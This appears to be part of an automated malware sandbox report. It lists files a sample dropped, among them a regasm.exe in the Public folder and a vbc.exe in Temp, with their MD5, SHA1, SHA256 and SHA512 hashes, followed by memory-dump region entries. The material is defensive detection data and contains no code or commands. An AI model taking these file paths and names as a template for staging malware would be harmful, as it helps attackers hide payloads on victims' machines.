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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms
MD5
2f21555f21fae4af9fb7f999103ecac4

SHA1
5e092c37f1f0cf1130ec7a8a83ea8d52f3201bbe

SHA256
b2dc55608ffdbc2de95d4ca0b31d8039afc9f3ad057b393780357a3aadec6699

SHA512
22d46da0eec0a76c588eab9e2ea08cf50f00fcc31c1695fbf5395b75f62740d5953d7c583127057164e2c9acaf72352e7c1bd5465f912a71ac28fdd4fdb44f7f

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C:\Users\Public\regasm.exe
MD5
7f06feab552ff5b4b5ea9c0c08a50982

SHA1
fec42fd952353328a01939c949ccb7031be50530

SHA256
053e45fb6090b18e9a8ff0a8c24fd2d77eca4057539b1add95e03c38be35b3a0

SHA512
9c5877c7851e8d6b000c729948b330ab66e69a18205b3ac5de70b4907360f3fb4541e6745312f7deb08f1a046fb2470e13ab9ca326e0e2f478819ecaa47e9be0

Download Submit
\Users\Admin\AppData\Local\Temp\vbc.exe
MD5
3dac10541270990e15c8742b0cd6f153

SHA1
ed5c87e500c51e055ddb9160929a3dac51d3a393

SHA256
744e1148859c05acf0cb4aac84f5687c5106268c30db72a31529b67695028a5f

SHA512
66f408fefd562558c96749981784157ac480895867e6612a410f8ebad6af05547e0fdae4431f1ddb136d2086d7acf2927ccff0d60b1adc44144c8bf1507589d1

Download Submit
\Users\Admin\AppData\Local\Temp\vbc.exe
MD5
3dac10541270990e15c8742b0cd6f153

SHA1
ed5c87e500c51e055ddb9160929a3dac51d3a393

SHA256
744e1148859c05acf0cb4aac84f5687c5106268c30db72a31529b67695028a5f

SHA512
66f408fefd562558c96749981784157ac480895867e6612a410f8ebad6af05547e0fdae4431f1ddb136d2086d7acf2927ccff0d60b1adc44144c8bf1507589d1

Download Submit
\Users\Public\regasm.exe
MD5
7f06feab552ff5b4b5ea9c0c08a50982

SHA1
fec42fd952353328a01939c949ccb7031be50530

SHA256
053e45fb6090b18e9a8ff0a8c24fd2d77eca4057539b1add95e03c38be35b3a0

SHA512
9c5877c7851e8d6b000c729948b330ab66e69a18205b3ac5de70b4907360f3fb4541e6745312f7deb08f1a046fb2470e13ab9ca326e0e2f478819ecaa47e9be0

Download Submit
\Users\Public\regasm.exe
MD5
7f06feab552ff5b4b5ea9c0c08a50982

SHA1
fec42fd952353328a01939c949ccb7031be50530

SHA256
053e45fb6090b18e9a8ff0a8c24fd2d77eca4057539b1add95e03c38be35b3a0

SHA512
9c5877c7851e8d6b000c729948b330ab66e69a18205b3ac5de70b4907360f3fb4541e6745312f7deb08f1a046fb2470e13ab9ca326e0e2f478819ecaa47e9be0

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memory/604-61-0x0000000000000000-mapping.dmp

Download
memory/828-94-0x0000000000000000-mapping.dmp

Download
memory/1228-65-0x0000000000000000-mapping.dmp

Download
memory/1360-100-0x000007FE92C10000-0x000007FE92C1A000-memory.dmp

Filesize
40KB

Download
memory/1360-99-0x000007FEF4CF0000-0x000007FEF4E33000-memory.dmp

Filesize
1.3MB

Download
memory/1360-98-0x0000000007B10000-0x0000000007BDF000-memory.dmp

Filesize
828KB

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memory/1624-57-0x0000000074B41000-0x0000000074B43000-memory.dmp

Filesize
8KB

Download
memory/1624-54-0x0000000072251000-0x0000000072254000-memory.dmp

Filesize
12KB

Download
memory/1624-97-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/1624-56-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/1624-55-0x000000006FCD1000-0x000000006FCD3000-memory.dmp

Filesize
8KB

Download
memory/1644-63-0x0000000000000000-mapping.dmp

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memory/1644-64-0x000007FEFB6B1000-0x000007FEFB6B3000-memory.dmp

Filesize
8KB

Download
memory/1684-96-0x0000000001D70000-0x0000000001E04000-memory.dmp

Filesize
592KB

Download
memory/1684-95-0x0000000001F00000-0x0000000002203000-memory.dmp

Filesize
3.0MB

Download
memory/1700-80-0x00000000024B0000-0x00000000030FA000-memory.dmp

Filesize
12.3MB

Download
memory/1700-78-0x00000000024B0000-0x00000000030FA000-memory.dmp

Filesize
12.3MB

Download
memory/1700-72-0x0000000000000000-mapping.dmp

Download
memory/1700-79-0x00000000024B0000-0x00000000030FA000-memory.dmp

Filesize
12.3MB

Download
memory/1712-91-0x000000000041F1B0-mapping.dmp

Download
memory/1712-90-0x0000000000400000-0x000000000042F000-memory.dmp

Filesize
188KB

Download
memory/1764-83-0x0000000000F00000-0x0000000000F01000-memory.dmp

Filesize
4KB

Download
memory/1764-85-0x0000000000420000-0x000000000043D000-memory.dmp

Filesize
116KB

Download
memory/1764-88-0x0000000000DC0000-0x0000000000DF2000-memory.dmp

Filesize
200KB

Download
memory/1764-81-0x0000000000000000-mapping.dmp

Download
memory/1764-87-0x0000000004E60000-0x0000000004EC1000-memory.dmp

Filesize
388KB

Download
memory/1764-86-0x00000000049E0000-0x00000000049E1000-memory.dmp

Filesize
4KB

Download
memory/1848-71-0x0000000002102000-0x0000000002104000-memory.dmp

Filesize
8KB

Download
memory/1848-69-0x0000000002100000-0x0000000002101000-memory.dmp

Filesize
4KB

Download
memory/1848-70-0x0000000002101000-0x0000000002102000-memory.dmp

Filesize
4KB

Download
memory/1848-66-0x0000000000000000-mapping.dmp

Download